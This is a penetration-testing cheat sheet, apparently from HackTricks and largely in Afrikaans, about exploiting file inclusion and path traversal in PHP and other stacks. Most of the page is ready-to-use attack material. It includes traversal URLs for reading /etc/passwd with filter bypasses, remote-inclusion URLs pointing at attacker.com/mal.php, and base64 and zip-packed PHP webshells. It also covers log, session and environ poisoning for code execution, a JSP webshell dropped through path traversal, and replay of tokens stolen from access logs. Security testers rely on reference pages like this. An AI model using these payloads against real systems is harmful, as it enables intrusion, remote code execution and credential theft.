File Inclusion/Path traversal

Reading time: 31 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

File Inclusion

Remote File Inclusion (RFI): Die lĂȘer word vanaf 'n afgeleĂ« bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit standaard gedeaktiveer (allow_url_include).
Local File Inclusion (LFI): Die bediener laai 'n plaaslike lĂȘer.

Die kwesbaarheid ontstaan wanneer die gebruiker op een of ander manier die lĂȘer kan beheer wat deur die bediener gelaai gaan word.

Kwetsbare PHP functions: require, require_once, include, include_once

'n Interessante hulpmiddel om hierdie kwesbaarheid uit te buit: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Deur verskeie *nix LFI-lyste te meng en meer paaie by te voeg het ek hierdie een geskep:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Probeer ook om / met \ te vervang
Probeer ook om ../../../../../ by te voeg

'n Lys wat verskeie tegnieke gebruik om die lĂȘer /etc/password te vind (om te kontroleer of die kwesbaarheid bestaan) kan gevind word here

Windows

Samevoeging van verskillende wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Probeer ook om / met \ te vervang
Probeer ook om C:/ te verwyder en ../../../../../ by te voeg

'n Lys wat verskeie tegnieke gebruik om die lĂȘer /boot.ini te vind (om te kontroleer of die kwesbaarheid bestaan) kan gevind word here

OS X

Kyk na die LFI-lys van linux.

Basiese LFI en omseilings

Al die voorbeelde is vir Local File Inclusion maar kan ook op Remote File Inclusion toegepas word (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences stripped non-recursively

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass die toevoeging van meer karakters aan die einde van die gegewe string (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Dit is opgelos sedert PHP 5.4

Enkodering

Jy kan nie-standaard enkoderinge gebruik soos dubbele URL-enkodering (en ander):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Vanaf bestaande vouer

Dalk kontroleer die back-end die vouerpad:

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Verkenning van gidse in die lĂȘerstelsel van 'n bediener

Die lĂȘerstelsel van 'n bediener kan rekursief verken word om gidse, nie net lĂȘers nie, te identifiseer deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die gidsdiepte en die ondersoek na die bestaan van spesifieke gidse. Hieronder is 'n gedetailleerde metode om dit te bereik:

  1. Bepaal gidsdiepte: Bepaal die diepte van jou huidige gids deur suksesvol die /etc/passwd lĂȘer te haal (van toepassing as die bediener Linux-gebaseerd is). 'n Voorbeeld-URL kan soos volg gestruktureer wees, wat 'n diepte van drie aandui:
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Probe for Folders: Voeg die naam van die vermoedlike gids (bv., private) by die URL, en navigeer dan terug na /etc/passwd. Die bykomende gidsvlak vereis dat die diepte met een verhoog word:
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpreteer die uitkomste: Die bediener se reaksie dui aan of die gids bestaan:
  • Fout / Geen Uitset: Die gids private bestaan waarskynlik nie op die gespesifiseerde ligging nie.
  • Inhoud van /etc/passwd: Die aanwesigheid van die private gids is bevestig.
  1. Rekursiewe verkenning: Gevonde gidse kan verder ondersoek word vir subgidse of lĂȘers deur dieselfde tegniek of tradisionele Local File Inclusion (LFI)-metodes te gebruik.

Om gidse op verskillende plekke in die lĂȘerstelsel te verken, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kontroleer of /var/www/ 'n private gids bevat (aangenome dat die huidige gids op 'n diepte van 3 is), gebruik:

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation is 'n metode wat gebruik word om lĂȘerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lĂȘers te kry deur sekere sekuriteitsmaatreĂ«ls te omseil wat addisionele karakters aan die einde van lĂȘerpaaie heg. Die doel is om 'n lĂȘerpad te skep wat, sodra dit deur die sekuriteitsmaatreĂ«l verander is, steeds na die verlangde lĂȘer wys.

In PHP kan verskeie voorstellings van 'n lĂȘerpad as ekwivalent beskou word as gevolg van die aard van die lĂȘerstelsel. Byvoorbeeld:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ are all treated as the same path.
  • Wanneer die laaste 6 karakters passwd is, verander die aanhegting van 'n / (wat dit passwd/ maak) nie die geteikende lĂȘer nie.
  • Net so, as .php aan 'n lĂȘerpad aangeheg word (soos shellcode.php), sal die byvoeging van /. aan die einde nie die lĂȘer wat geraadpleeg word verander nie.

Die voorbeelde wys hoe om Path truncation te gebruik om toegang tot /etc/passwd te verkry, 'n gereelde teiken as gevolg van sy sensitiewe inhoud (gebruikersrekeninginligting):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

In hierdie scenario's kan die aantal traversals wat nodig is ongeveer 2027 wees, maar hierdie getal kan wissel afhangend van die bediener se konfigurasie.

  • Using Dot Segments and Additional Characters: Traversal sequences (../) gekombineer met ekstra dot segments en karakters kan gebruik word om die lĂȘerstelsel te navigeer, en gevolglik aangehegte stringe deur die bediener te ignoreer.
  • Determining the Required Number of Traversals: Deur proef-en-fout kan 'n mens die presiese aantal ../-reekse vind wat nodig is om na die root directory te navigeer en daarna na /etc/passwd, en sodoende enige aangehegte stringe (soos .php) te neutraliseer terwyl die gewenste pad (/etc/passwd) onaangeraak bly.
  • Starting with a Fake Directory: Dit is algemeen om die pad te begin met 'n nie-bestaande directory (soos a/). Hierdie tegniek word as 'n voorsorgmaatreĂ«l gebruik of om aan die vereistes van die bediener se path parsing-logika te voldoen.

Wanneer path truncation techniques gebruik word, is dit van kardinale belang om die bediener se path parsing-gedrag en lĂȘerstelselstruktuur te verstaan. Elke scenario mag 'n ander benadering vereis, en toetsing is dikwels nodig om die mees doeltreffende metode te vind.

Hierdie kwetsbaarheid is reggestel in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

In php is dit standaard gedeaktiveer omdat allow_url_include op Off is. Dit moet op On wees om te werk, en in daardie geval kan jy 'n PHP file vanaf jou server include en RCE kry:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

As om een of ander rede allow_url_include is On, maar PHP filtreer toegang tot eksterne webbladsye, according to this post, kan jy byvoorbeeld die data-protokol met base64 gebruik om 'n b64 PHP-kode te dekodeer en RCE te kry:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

tip

In die vorige kode is die finale +.txt bygevoeg omdat die aanvaller 'n string nodig gehad het wat op .txt eindig, so die string daarmee eindig en nĂĄ die b64 decode sal daardie deel net gemors teruggee en die werklike PHP-kode ingesluit word (en dus uitgevoer).

Nog 'n voorbeeld wat nie die php:// protocol gebruik nie sou wees:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python wortelelement

In python, in 'n kode soos hierdie:

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

As die gebruiker 'n absolute path aan file_name deurgee, word die previous path net verwyder:

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Dit is die bedoelde gedrag volgens the docs:

As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en die samevoeging gaan voort vanaf die absolute padkomponent.

Java: lys van gidse

Dit lyk asof as jy 'n Path Traversal in Java het en jy vir 'n gids vra in plaas van 'n lĂȘer, word 'n lys van die gids teruggestuur. Dit sal nie in ander tale gebeur nie (sover ek weet).

Top 25 parameters

Hier is 'n lys van die top 25 parameters wat kwesbaar kan wees vir local file inclusion (LFI) (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI gebruik PHP-wrappers & protokolle

php://filter

PHP-filters laat toe om basiese wysigingsoperasies op die data uit te voer voordat dit gelees of geskryf word. Daar is 5 kategorieë filters:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Verwyder tags uit die data (alles tussen die "<" en ">" karakters)
  • Let wel: hierdie filter het in die moderne weergawes van PHP verdwyn
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transformeer na 'n ander enkodering(convert.iconv.<input_enc>.<output_enc>). Om die lys van alle enkoderinge wat ondersteun word te kry, voer in die konsole uit: iconv -l

warning

Deur die convert.iconv.* conversiefilter te misbruik kan jy arbitrĂȘre teks genereer, wat nuttig kan wees om arbitrĂȘre teks te skryf of om 'n funksie soos include arbitrĂȘre teks te laat verwerk. Vir meer inligting kyk LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Kompresseer die inhoud (useful if exfiltrating a lot of info)
  • zlib.inflate: Dekomprseer die data
  • Encryption Filters
  • mcrypt.* : Verouderd
  • mdecrypt.* : Verouderd
  • Other Filters
  • Wanneer jy in php var_dump(stream_get_filters()); uitvoer, kan jy 'n paar onverwagte filters vind:
  • consumed
  • dechunk: keer HTTP chunked encoding om
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,ÂŁhellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

Die gedeelte "php://filter" is nie sensitief vir hoofletters en kleinletters nie

Gebruik php filters as oracle om arbitrĂȘre lĂȘers te lees

In hierdie pos is 'n tegniek voorgestel om 'n plaaslike lĂȘer te lees sonder dat die uitvoer deur die server teruggegee word. Hierdie tegniek is gebaseer op 'n boolean exfiltration of the file (char by char) using php filters as oracle. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak dat php 'n uitsondering gooi.

In die oorspronklike pos vind jy 'n gedetailleerde uiteensetting van die tegniek, maar hier is 'n vinnige opsomming:

  • Gebruik die codec UCS-4LE om die leidende karakter van die teks aan die begin te plaas en die grootte van die string eksponensieel te laat toeneem.
  • Dit sal gebruik word om 'n teks te genereer wat so groot is wanneer die aanvanklike letter korrek geraai is dat php 'n error sal veroorsaak.
  • Die dechunk filter sal alles verwyder as die eerste char nie 'n hexadecimal is nie, sodat ons kan weet of die eerste char hex is.
  • Dit, gekombineer met die vorige (en ander filters afhangend van die geraaide letter), sal ons toelaat om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie meer 'n hexadecimal karakter te laat wees nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal php 'n error laat gooi.
  • Die codec convert.iconv.UNICODE.CP930 transformeer elke letter na die volgende (so na hierdie codec: a -> b). Dit stel ons in staat om te ontdek of die eerste letter byvoorbeeld 'n a is, want as ons 6 keer hierdie codec toepas a->b->c->d->e->f->g is die letter nie meer 'n hexadecimal karakter nie, daarom verwyder dechunk dit nie en word die php error getrigger omdat dit vermenigvuldig met die aanvanklike bom.
  • Deur ander transformasies soos rot13 aan die begin te gebruik is dit moontlik om ander chars te leak soos n, o, p, q, r (en ander codecs kan gebruik word om ander letters na die hex-reeks te skuif).
  • Wanneer die aanvanklike char 'n nommer is, moet dit base64 gekodeer word en die eerste 2 letters geleak word om die nommer te leak.
  • Die finale probleem is om te sien hoe om meer as die aanvanklike letter te leak. Deur order memory filters soos convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE te gebruik is dit moontlik om die volgorde van die chars te verander en ander letters van die teks in die eerste posisie te kry.
  • En om verdere data te kan bekom is die idee om 2 bytes rommeldata aan die begin te genereer met convert.iconv.UTF16.UTF16, pas UCS-4LE toe om dit te pivot met die volgende 2 bytes, en verwyder die data tot by die rommeldata (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Doen dit voort totdat jy by die gewenste deel kom om te leak.

In die pos is ook 'n tool om dit outomaties uit te voer leaked: php_filters_chain_oracle_exploit.

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Jy kan ook php://stdin, php://stdout and php://stderr gebruik om toegang te kry tot die file descriptors 0, 1 and 2 onderskeidelik (nie seker hoe dit in 'n aanval nuttig sou wees nie)

zip:// and rar://

Laai 'n Zip of Rar-lĂȘer op met 'n PHPShell binne-in en kry toegang daartoe.
Om die rar-protokol te kan misbruik, moet dit spesifiek geaktiveer word.

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Let wel dat hierdie protokol beperk word deur php-konfigurasies allow_url_open en allow_url_include

expect://

Expect moet geaktiveer wees. Jy kan kode hiermee uitvoer:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Spesifiseer jou payload in die POST-parameters:

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

'n .phar-lĂȘer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos include vir lĂȘerlaai gebruik. Die onderstaande PHP-kodefragment demonstreer die skep van 'n .phar-lĂȘer:

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Om die .phar-lĂȘer te kompileer, moet die volgende kommando uitgevoer word:

bash
php --define phar.readonly=0 create_path.php

Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.

In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), or filesize(), exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar protocol.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Dit was moontlik om enige arbitrĂȘre lĂȘer wat deur PHP gelees word en php filters ondersteun te misbruik om 'n RCE te kry. Die gedetailleerde beskrywing kan found in this post.
Baie vinnige opsomming: 'n 3 byte overflow in die PHP-heap is misbruik om die ketting van free chunks van 'n spesifieke grootte te verander sodat dit moontlik was om enige iets in enige address te skryf, daarom is 'n hook bygevoeg om system aan te roep.
Dit was moontlik om chunks van spesifieke groottes te alloc deur meer php filters te misbruik.

More protocols

Kyk na meer moontlike protocols to include here:

  • php://memory and php://temp — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
  • file:// — Accessing local filesystem
  • http:// — Accessing HTTP(s) URLs
  • ftp:// — Accessing FTP(s) URLs
  • zlib:// — Compression Streams
  • glob:// — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio streams (Not useful to read arbitrary files)

LFI via PHP's 'assert'

Local File Inclusion (LFI)-risiko's in PHP is besonder hoog wanneer die 'assert' funksie betrokke is, aangesien dit kode binne stringe kan uitvoer. Dit is veral problematies as insette wat directory traversal-karakters soos ".." bevat, nagegaan maar nie behoorlik gesaneer word nie.

For example, PHP code might be designed to prevent directory traversal like so:

bash
assert("strpos('$file', '..') === false") or die("");

Alhoewel dit daarop gemik is om traversal te voorkom, skep dit onbedoeld 'n vektor vir code injection. Om dit te misbruik om file contents te lees, kan 'n attacker gebruik:

plaintext
' and die(highlight_file('/etc/passwd')) or '

Net so, om ewekansige stelselopdragte uit te voer, kan iemand gebruik:

plaintext
' and die(system("id")) or '

Dit is belangrik om URL-encode these payloads.

PHP Blind Path Traversal

warning

Hierdie tegniek is relevant in gevalle waar jy die file path van 'n PHP function beheer wat 'n lĂȘer sal toegang maar jy sal nie die inhoud van die lĂȘer sien nie (soos 'n eenvoudige oproep na file()) maar die inhoud word nie gewys nie.

In this incredible post word verduidelik hoe 'n blind path traversal misbruik kan word via PHP filter om exfiltrate the content of a file via an error oracle.

As opsomming gebruik die tegniek die "UCS-4LE" encoding om die inhoud van 'n lĂȘer so groot te maak dat die PHP function opening die lĂȘer 'n error sal veroorsaak.

Dan, om die eerste char te leak word die filter dechunk gebruik saam met ander soos base64 of rot13 en uiteindelik word die filters convert.iconv.UCS-4.UCS-4LE en convert.iconv.UTF16.UTF-16BE gebruik om ander karakters aan die beginning te plaas en hulle te leak.

Funksies wat moontlik kwesbaar is: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Vir die tegniese besonderhede kyk die genoemde post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Wanneer server-side kode wat lĂȘers verwerk/upload die bestemmingspad bou met user-controlled data (bv. 'n filename of URL) sonder kanonisering en validasie, kan .. segmentes en absolute paaie uit die beoogde gids ontsnap en 'n arbitrary file write veroorsaak. As jy die payload onder 'n web-exposed directory kan plaas, kry jy gewoonlik unauthenticated RCE deur 'n webshell neer te sit.

Tipiese uitbuiting-werkvloei:

  • Identifiseer 'n write primitive in 'n endpoint of background worker wat 'n path/filename aanvaar en inhoud na disk skryf (bv. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ens.).
  • Bepaal web-exposed directories. Algemene voorbeelde:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Konstrukteer 'n traversal path wat uit die beoogde stoor-gids in die webroot breek, en sluit jou webshell inhoud in.
  • Blaai na die geplaatste payload en voer opdragte uit.

Aantekeninge:

  • Die kwesbare diens wat die skryf uitvoer kan na 'n nie-HTTP-poort luister (bv. 'n JMF XML listener op TCP 4004). Die hoof webportaal (ander poort) sal later jou payload bedien.
  • Op Java stacks word hierdie lĂȘerskrywings dikwels geĂŻmplementeer met eenvoudige File/Paths concatenation. Gebrek aan canonicalisation/allow-listing is die kernfout.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Verharding wat hierdie klas foute uitskakel:

  • Los dit op na 'n kanonieke pad en dwing af dat dit 'n afstammeling is van 'n allow-listed basisgids.
  • Weier enige pad wat .., absolute wortels, of stasieletters bevat; verkies gegenereerde bestandsname.
  • Laat die writer loop as 'n lae-bevoegdhede rekening en skei skryfgidse van die geserveerde wortels.

Remote File Inclusion

Eerder verduidelik, follow this link.

Deur Apache/Nginx log file

As die Apache of Nginx server is vulnerable to LFI binne die include funksie kan jy probeer om toegang te kry tot /var/log/apache2/access.log or /var/log/nginx/access.log, sit in die user agent of in 'n GET parameter 'n php shell soos <?php system($_GET['c']); ?> en include daardie file

warning

Let wel dat as jy dubbel aanhalingstekens gebruik vir die shell in plaas van enkelaanhalingstekens, sal die dubbel aanhalingstekens gewysig word na die string "quote;", PHP sal 'n fout gooi daar en niks anders sal uitgevoer word.

Maak ook seker dat jy die payload korrek skryf of PHP sal elke keer 'n fout gee elke keer as dit probeer om die log file te laai en jy sal nie 'n tweede geleentheid hĂȘ nie.

Dit kan ook in ander logs gedoen word maar wees versigtig, die kode binne die logs kan URL encoded wees en dit kan die Shell vernietig. Die header authorisation "basic" bevat "user:password" in Base64 en dit word in die logs gedekodeer. Die PHPShell kan binne hierdie header ingesit word.
Ander moontlike logpade:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Lees access logs om GET-based auth tokens te oes (token replay)

Baie apps aanvaar per ongeluk session/auth tokens via GET (bv. AuthenticationToken, token, sid). As jy 'n path traversal/LFI primitive na die web server logs het, kan jy daardie tokens uit die access logs steel en dit replay om authentication heeltemal te omseil.

Hoe om:

  • Gebruik die traversal/LFI om die web server access log te lees. Algemene lokasies:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Sommige endpoints lewer lĂȘerlesings Base64-encoded terug. Indien wel, dekodeer dit lokaal en ondersoek die logreĂ«ls.
  • Grep vir GET-versoeke wat 'n token-parameter bevat en vang die waarde daarvan, en replay dit teen die toepassing se entry point.

Example flow (generic):

http
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Dekodeer die body as dit Base64 is, en speel dan 'n gevangen token terug:

http
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Aantekeninge:

  • Tokens in URLs word standaard aangeteken; aanvaar nooit bearer tokens via GET in produksie-stelsels.
  • As die app verskeie token names ondersteun, soek na algemene sleutels soos AuthenticationToken, token, sid, access_token.
  • Roteer enige tokens wat dalk leaked na logs.

Via E-pos

Stuur 'n e-pos na 'n interne rekening (user@localhost) wat jou PHP payload bevat soos <?php echo system($_REQUEST["cmd"]); ?> en probeer dit insluit in die e-pos van die gebruiker met 'n pad soos /var/mail/<USERNAME> of /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. Laai baie shells op (byvoorbeeld : 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, met $PID = PID van die proses (kan brute forced word) en $FD die file descriptor (kan ook brute forced word)

Via /proc/self/environ

Soos 'n log file, stuur die payload in die User-Agent; dit sal weerspieël word binne die /proc/self/environ file

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

As jy 'n lĂȘer kan upload, injekteer net die shell payload daarin (bv: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Om die lĂȘer leesbaar te hou, is dit die beste om dit in die metadata van die foto's/doc/pdf in te voeg

Via Zip lĂȘer oplaai

Laai 'n ZIP-lĂȘer op wat 'n gecomprimeerde PHP shell bevat en toegang:

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Deur PHP sessions

Kontroleer of die webwerf PHP Session (PHPSESSID) gebruik

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP word hierdie sessies gestoor in /var/lib/php5/sess\[PHPSESSID]_ lĂȘers

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Stel die cookie in op <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Gebruik die LFI om die PHP sessie-lĂȘer in te sluit

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Deur ssh

As ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer toegang kry tot <HOME>/.ssh/id_rsa

Deur vsftpd loglĂȘers

Die loglĂȘers vir die FTP-bediener vsftpd is geleĂ« by /var/log/vsftpd.log. In die scenario waar 'n Local File Inclusion (LFI)-kwetsbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:

  1. Injekteer 'n PHP-payload in die gebruikersnaamveld tydens die aanmeldproses.
  2. Na die injeksie, gebruik die LFI om die bedienerloglĂȘers van /var/log/vsftpd.log te bekom.

Deur php base64-filter (met base64)

Soos in this artikel getoon, ignoreer die PHP base64-filter nie-base64-karakters. Jy kan dit gebruik om die lĂȘeruitbreidingkontrole te omseil: as jy base64 voorsien wat eindig met ".php", sal dit net die "." ignoreer en "php" aan die base64 heg. Hier is 'n voorbeeldpayload:

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

This writeup verduidelik dat jy php filters to generate arbitrary content as output kan gebruik. Dit beteken basies dat jy generate arbitrary php code vir die include kan genereer without needing to write dit in 'n lĂȘer.

LFI2RCE via PHP Filters

Via segmentation fault

Laai 'n lĂȘer op wat as tydelik in /tmp gestoor sal word; veroorsaak dan in dieselfde versoek 'n segmentation fault, en die tydelike lĂȘer sal nie verwyder word nie en jy kan daarna soek.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

As jy 'n Local File Inclusion gevind het en Nginx loop voor PHP, kan jy dalk RCE verkry met die volgende tegniek:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

As jy 'n Local File Inclusion gevind het, selfs al het jy geen sessie nie en session.auto_start is Off. As jy die PHP_SESSION_UPLOAD_PROGRESS in multipart POST-data verskaf, sal PHP die sessie vir jou aktiveer. Jy kan dit misbruik om RCE te kry:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

As jy 'n Local File Inclusion gevind het en die bediener op Windows loop, kan jy moontlik RCE kry:

LFI2RCE Via temp file uploads

